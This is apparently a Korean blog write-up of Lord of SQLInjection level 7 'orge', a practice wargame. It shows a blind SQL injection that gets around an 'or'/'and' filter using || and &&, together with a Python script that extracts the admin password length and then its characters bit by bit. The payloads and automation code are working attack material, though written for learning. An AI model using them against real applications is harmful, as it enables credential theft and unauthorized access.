los 7번 orge Write-Up 입니다.

4번 문제랑 비슷한 코드를 가지고 있으며, or과 and가 검열되고 있습니다.
Blind SQL Injection 문제입니다.
select id from prob_orge where id='guest' and pw=''
select pw from prob_orge where id='admin' and pw=''
여기도 쿼리가 2개 있습니다.
위 쿼리는 guest의 id, 아래 쿼리는 admin의 pw를 선택하는 구문입니다.
select id from prob_orge where id='guest' and pw=''||id='admin'&&length(pw)=8#'
첫 번째 쿼리가 guest로 박혀 있기 때문에 강제로 admin을 선택하도록 해야 합니다.
이렇게 입력하여 pw의 길이를 알아내 봅니다.

URL Encoding 후 1부터 차례로 데이터를 전달하면 8에서 Hello admin이 나옵니다.
즉, pw는 8글자임을 알 수 있습니다.
import requests
def func():
URL = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php'
cookie = {
'PHPSESSID' : 'session 값 입력'
}
flag_len = 0
while(True):
flag_len += 1
params = {
'pw' : f"'||id='admin'&&length(pw)={flag_len}#"
}
response = requests.get(URL, params=params, cookies=cookie)
if 'Hello admin' in response.text:
break
ans = ''
n = [1, 2, 4, 8, 16, 32, 64]
for i in range(flag_len):
res = 0
for j in n:
params = {
'pw' : f"'||id='admin'&&ascii(substr(pw,{i+1},1))&{j}={j}#"
}
response = requests.get(URL, params=params, cookies=cookie)
if 'Hello admin' in response.text:
res += j
ans += chr(res)
return ans
if __name__ == '__main__':
print(func())
다음과 같이 자동화 코드를 작성하여 pw를 구할 수 있습니다.
los 로그인을 해야 문제 페이지에 접속할 수 있어서 session 정보도 같이 전달해야 합니다.

pw를 알아낸 후 데이터를 전달하면 문제가 정답처리 됩니다.
'CTF > los' 카테고리의 다른 글
| [CTF] Lord of SQLInjection 9번 vampire Write-Up (0) | 2026.03.10 |
|---|---|
| [CTF] Lord of SQLInjection 8번 troll Write-Up (1) | 2026.03.10 |
| [CTF] Lord of SQLInjection 6번 darkelf Write-Up (0) | 2026.03.10 |
| [CTF] Lord of SQLInjection 5번 wolfman Write-Up (0) | 2026.03.10 |
| [CTF] Lord of SQLInjection 4번 orc Write-Up (0) | 2026.03.10 |
댓글